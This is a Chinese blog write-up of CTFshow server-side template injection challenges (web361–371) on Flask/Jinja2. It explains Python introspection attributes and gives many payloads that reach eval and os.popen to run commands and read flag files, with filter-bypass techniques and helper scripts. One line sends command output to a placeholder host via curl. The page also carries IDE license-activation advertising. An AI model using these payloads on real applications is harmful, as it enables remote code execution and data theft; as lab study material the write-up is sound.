CTFshow——SSTI

CTFshow——SSTI首先一定要了解有关python类的知识:python__base__等内置方法pythoninspect模块解析#coding=utf-8__author__=”leaves”classBase(object):a=0def__init__(self):self._a=10passclassChild(Base):”测试测试”_b=10def__str__(

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

前言:

个人感觉SSTI有点难度且繁琐的..哎,还是有好多不会的,只能参照着师傅的解法尝试复现一下。

bfeng师傅的WP
羽师傅的WP

可以先看看这两篇文章,体会一下SSTI(大佬可无视)

细说Jinja2之SSTI&bypass
浅析SSTI(python沙盒绕过)

SSTI模板注入绕过(进阶篇)
CTF SSTI(服务器模板注入)

CTF SSTI(服务器模板注入)
SSTI/沙盒逃逸详细总结


首先一定要了解有关python类、模块的知识:(以下题目用到Python的Jinja2模板)
python __base__等内置方法
python inspect模块解析

# coding=utf-8_
_author__ = "leaves"
 
 
class Base(object):
    a = 0
 
    def __init__(self):
        self._a = 10
        pass
 
 
class Child(Base):
    "测试测试"
    _b = 10
 
    def __str__(self):
        print ("My Name is Child")
 
 
class Child2(Child, Base):  # (Child,Base)顺序不能反
    "测试测试"
    _b = 10
 
 
child = Child()
child2 = Child2()
print isinstance(child, Child)
True
print isinstance(child, Base)
True
print issubclass(Child, Base)
True
print child.__class__  # 告诉某个实例对象是哪个类
<class '__main__.Child'>
print child.__module__  # 模块名称
__main__
print Child.__module__
__main__
print child.__doc__
测试测试
print child.__dict__  # 显示的是child这个实例的属性,用self修饰的属性
输出:{ 
   '_a': 10}
print Child.__dict__  # 显示的是Child这个类的属性
输出:{ 
   '__module__': '__main__', '_b': 10, '__str__': <function __str__ at 0x000000000256F048>, '__doc__': '\xe6\xb5\x8b\xe8\xaf\x95\xe6\xb5\x8b\xe8\xaf\x95'}
print Base.__dict__
输出:{ 
   'a': 0, '__module__': '__main__', '__dict__': <attribute '__dict__' of 'Base' objects>, '__weakref__': <attribute '__weakref__' of 'Base' objects>, '__doc__': None, '__init__': <function __init__ at 0x0000000002520F98>}
print Child.mro()
输出:[<class '__main__.Child'>, <class '__main__.Base'>, <type 'object'>]
print Base.mro()
输出:[<class '__main__.Base'>, <type 'object'>]
print child.__class__.__mro__  # 解析方法调用的顺序。super的执行路径和类的__mro__列举的类顺序吻合
输出:(<class '__main__.Child'>, <class '__main__.Base'>, <type 'object'>)
print child2.__class__.__mro__
输出:(<class '__main__.Child2'>, <class '__main__.Child'>, <class '__main__.Base'>, <type 'object'>)
print child.__class__.__base__  # 列出其直接基类
输出:<class '__main__.Base'>
print child2.__class__.__base__
输出:<class '__main__.Child'>
print child.__class__.__bases__  # 列出其除object的所有基类
输出:(<class '__main__.Base'>,)
print child2.__class__.__bases__
输出:(<class '__main__.Child'>, <class '__main__.Base'>)
print child.__str__()
输出:My Name is Child

# 如果 import 一个模块,那么模块__name__ 的值通常为模块文件名,不带路径或者文件扩展名。但是您也可以像一个标准的程序样直接运行模块,在这种情况下, __name__ 的值将是一个特别缺省"__main__"。
print child2.__class__.__name__
输出:Child2
print __name__
输出:__main__
类(class)
  • __doc__: 文档字符串。如果类没有文档,这个值是None。

  • __name__: 始终是定义时的类名。

  • __dict__: 包含了类里可用的属性名-属性的字典;也就是可以使用类名.属性名访问的对象。

  • __module __: 包含该类的定义的模块名;需要注意,是字符串形式的模块名而不是模块对象。

  • __bases__: 直接父类对象的元组;但不包含继承树更上层的其他类,比如父类的父类。

bfeng师傅那儿抄来的大部分笔记:

__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类(除object),以元组形式,类型的实例通常没有属性。 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的所有子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以调用当前脚本中的函数,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{ 
   { 
   lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。

request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get传参
request.values.x1 	 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post传参	(Content-Type:a/b)
request.json		 post传json  (Content-Type: application/json)

config               当前application的所有配置。此外,也可以这样{ 
   { 
    config.__class__.__init__.__globals__['os'].popen('ls').read() }}
self.__dict__		 保存当前类实例或对象实例的属性变量键值对字典,
{ 
   %print("DMIND")%}	 控制语句中也能输出

拼接字符:{ 
   % set ind=dict(ind=a,ex=a)|join%}		变量ind=index
获取字符:{ 
   { 
   lipsum|string|list|attr('pop')(18)}} 相当于:lipsum|string|list|attr('pop')(18)  输出:_(下划线)
得到数字:{ 
   { 
   lipsum|string|list|attr('index')('g')}} 相当于lipsum|string|list|attr('index')('g') 输出:10
运算出其他数字:{ 
   % set shiba=ten%2bten-two %}        %2b是URL编码后的加号

得到数字:{ 
   { 
   dict(a=a)|lower|list|count}}得到16
运算出其他数字:{ 
   { 
   dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count}}得到1

得到任意字符:{ 
   { 
   dict(dmind=a)|slice(1)|first|first}}得到dmind

获取__builtins__属性:{ 
   { 
   lipsum.__globals__|attr('get')('__builtins__')}}		利用get()、pop()获取属性,相当于lipsum.__globals__.get('__builtins__')

lipsum.__globals__.__builtins__  相当于  lipsum|attr('__globals__')|attr('get')('__builtins__')
lipsum.__globals__.__builtins__.chr(95)  相当于  lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('chr')(95)

得到chr函数:{ 
   %set chr=lipsum.__globals__.__builtins__.chr%}
利用chr()得到字符:{ 
   { 
   chr(47)~chr(32)}}  47是/  32是空格  ~是连接符

利用os执行命令:lipsum.__globals__.os.popen('dir').read()  相当于  lipsum|attr('__globals__')|attr('get')('os')|attr('popen')('dir')|attr('read')()
类似的		  url_for['__globals__']['os']['popen']('dir').read()

简单的读取文件:url_for["__globa"+"ls__"].__builtins__.open("flag.txt").read()

在能执行eval情况下:eval(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))

常用的过滤器:

attr(): attr用于获取变量
(过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多
个过滤器。一个过滤器的输出应用于下一个过滤器)
		""|attr("__class__")
		相当于
		"".__class__
		
dict(po=ll,p=abc)|join   	:连接键名,拼接得到pop

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: { 
   { 
   '<em>hello</em>'|safe}};

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{ 
   { 
    "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count

下面是收集到的一些find脚本

#寻找类及下标脚本:

import json

a = """ [<class 'type'>,..........,<class 'contextlib._BaseExitStack'>] """    #将一大堆类结果复制到这儿

num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i
        
for k,v in enumerate(allList):
    if "system" in v:       #在类中寻找‘system’类,注意区分大小写!
        print(str(k)+"--->"+v)

#寻找函数脚本:

import json 
search ='popen'     #在类中寻找popen函数
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try :
        if search in i.__init__.__globals__.keys():
            print(i,num)
    except:
        pass

寻找可用模块:

# coding=utf-8
""" 找python2 和 python3 中哪些标准模块里面导入了 os 或者 sys 或者 __builtins__ python3 find_os_sys_builtins.py > py3.txt python2 find_os_sys_builtins.py > py2.txt """

all_modules_2 = [
    'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion', 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib', 'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs', 'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString', 'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy', 'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser', 'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types', '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512', 'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched', 'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha'
]

all_modules_3 = [
    'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets', 'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize', '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi', 'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys', 'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os', 'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle', '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput', 'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited', '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq'
]


modules = ['os', 'sys', '__builtins__']

def find_os_sys_builins(v):
    global all_modules_2,all_modules_3
    results = { 
   }
    for module in eval("all_modules_" + str(v)):
        results[module] = []
        try:
            m = __import__(module)
            attrs = dir(m)
            for want in modules:
                if want in attrs:
                    results[module].append(want)
        except Exception as e:
            print(e)

    for m,r in results.items():
        if r:
            print("[+]" + m)
            print(" " + str(r))
            print("")
import sys
v = 2 if sys.argv[0].endswith("2") else 3
find_os_sys_builins(v)

web361:Jinja2模板

尝试一下:{
{7*'7'}}
回显是7777777,判断是Jinja2模板(如果回显是49则为Twig模板)

?name={
  
  {''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["popen"]("cat /f*").read()}}

''.__class__.__mro__[1].__subclasses__()查看object下的所有子类集合

web362

__builtin__中有众多的可用函数,包括了eval

1:
?name={ 
   { 
   url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /f*').read()")}}


2:
?name={ 
   { 
   x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /f*').read()")}} 
x.__init__.__globals__也可找到__builtin__   x是任意英文字母组合


3:
{ 
   % for i in ''.__class__.__mro__[1].__subclasses__() %}{ 
   % if i.__name__=='_wrap_close' %}{ 
   % print i.__init__.__globals__['popen']('ls').read() %}{ 
   % endif %}{ 
   % endfor %}
这种利用{ 
   %%}逻辑语句进行遍历,寻找os._wrap_close的这个类,此类中有popen函数

web363——过滤'"

过滤了单双引号:使用request.args.x1传递GET参数x1,从而避免单双引号的使用

?name={ 
   { 
   x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read() 

不使用系统命令,还可以利用open函数直接打开读取文件的:

?name={ 
   { 
   ().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/flag

web364——过滤args

过滤了单双引号、args
request.cookies.x1代替request.args.x1

?name={ 
   { 
   x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie传参:x2=__import__('os').popen('ls /').read();x1=__builtins__

在这里插入图片描述

web365——过滤[]

增加过滤了[]
可以用__getitem()__用来获取序号

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
?name={ 
   { 
   x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
Cookie传参:x2=__import__('os').popen('cat /f*').read();x1=__builtins__

web366——过滤_

下划线_被过滤,那么要用request.cookies.x1来传参。凡是有过滤的,都可以尝试使用request来替代
对照着原型x.__inint__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")
即可写出来:

?name={ 
   { 
   (x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}

Cookie传参:
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /f*').read()

还有这样的写法:因为lipsum.__globals__中含有os模块

?name={ 
   { 
   (lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
传参:a=__globals__;b=cat /f*

web367——过滤os

还是上题的payload,反正可以用request来代替

web328——过滤{}

既然{
{}}
不给用,那么{% print()%}一样可以输出

?name={ 
   %print((x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5))%}

bfeng师傅的payload:
使用request.values.xvalues可以接受GET和POST形式的传参

?a=__globals__&b=os&c=cat /flag&name={ 
   % print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}

web369——过滤request

羽师傅的解法(自己加上了点解释):

http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/
?name=
{ 
   % set po=dict(po=a,p=a)|join%}  	# dict()|join 拼接键名的方式,此处得到变量po=pop
{ 
   % set a=(()|select|string|list)|attr(po)(24)%}		#通过pop(24)选择到“_”下划线并赋值给a
{ 
   % set ini=(a,a,dict(init=a)|join,a,a)|join()%}		#ini=__init__
{ 
   % set glo=(a,a,dict(globals=a)|join,a,a)|join()%}		#glo=__globals__
{ 
   % set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}		#geti=__getitem__
{ 
   % set built=(a,a,dict(builtins=a)|join,a,a)|join()%}		#built=__builtins__
{ 
   % set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}		#x=q.__init__.__globals__.__getitem__('__builtins__')
{ 
   % set chr=x.chr%}										#chr=x.chr 选择到了chr函数,chr=<built-in function chr>
{ 
   % set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}		#结合ASCII和chr函数构造。file=/flag
{ 
   %print(x.open(file).read())%}		#利用open函数读取


总的来说是利用dict()|join拼接我们需要的字符(避免了使用引号),不像之前request那样传递字符。在__builtins__下拿到chr拼接字符从而避免引号的使用,也用到了__builtins__下的open函数读取flag

feng师傅的:

http://de1d82f0-b40d-430f-9cb5-ce2435f44306.chall.ctf.show:8080/?name=
{ 
   % set a=(()|select|string|list).pop(24) %}
{ 
   % set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{ 
   % set init=(a,a,dict(init=1)|join,a,a)|join %}
{ 
   % set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{ 
   % set a=(lipsum|attr(globals)).get(builtins) %}
{ 
   % set chr=a.chr %}
{ 
   % print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}

大致用法一致
lipsum.__globals__.get(builtins)就可得到__builtins__
q.__init__.__globals__['__builtins__']也可以得到__builtins__

web370——过滤0-9

过滤了数字

?name=
{ 
   % set two=(dict(aa=a)|join|count)%}
{ 
   % set three=(dict(aaa=a)|join|count)%}
{ 
   % set four=(dict(aaaa=a)|join|count)%}
{ 
   % set seven=(dict(aaaaaaa=a)|join|count)%}
{ 
   % set eight=(dict(aaaaaaaa=a)|join|count)%}
{ 
   % set nine=(dict(aaaaaaaaa=a)|join|count)%}
{ 
   % set ten=(dict(aaaaaaaaaa=a)|join|count)%}
{ 
   % set twofour=( two~four)|int%}
{ 
   % set a=(()|select|string|list).pop(twofour)%}
{ 
   % set globals=(a,a,dict(globals=s)|join,a,a)|join%}
{ 
   % set init=(a,a,dict(init=v)|join,a,a)|join%}
{ 
   % set builtins=(a,a,dict(builtins=c)|join,a,a)|join%}
{ 
   % set a=(lipsum|attr(globals)).get(builtins)%}
{ 
   % set chr=a.chr%}
{ 
   % print a.open(chr((four~seven)|int)~chr((ten~two)|int)~chr((ten~eight)|int)~chr((nine~seven)|int)~chr((ten~three)|int)).read()%}

web371——过滤count

?name=
{ 
   % set two=(dict(aa=a)|join|length)%}
{ 
   % set three=(dict(aaa=a)|join|length)%}
{ 
   % set four=(dict(aaaa=a)|join|length)%}
{ 
   % set five=(dict(aaaaa=a)|join|length)%}
{ 
   % set seven=(dict(aaaaaaa=a)|join|length)%}
{ 
   % set eight=(dict(aaaaaaaa=a)|join|length)%}
{ 
   % set nine=(dict(aaaaaaaaa=a)|join|length)%}
{ 
   % set ten=(dict(aaaaaaaaaa=a)|join|length)%}
{ 
   % set twofour=( two~four)|int%}
{ 
   % set a=(()|select|string|list).pop(twofour)%}
{ 
   % set globals=(a,a,dict(globals=s)|join,a,a)|join%}
{ 
   % set init=(a,a,dict(init=v)|join,a,a)|join%}
{ 
   % set builtins=(a,a,dict(builtins=c)|join,a,a)|join%}
{ 
   % set a=(lipsum|attr(globals)).get(builtins)%}
{ 
   % set chr=a.chr%}
{ 
   % print a.open(chr((four~seven)|int)~chr((ten~two)|int)~chr((ten~eight)|int)~chr((nine~seven)|int)~chr((ten~three)|int)).read()%}

后面两题有点超出我目前能力了(看了WP也没复现出来),还是先留着,以后再回来做

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/179684.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号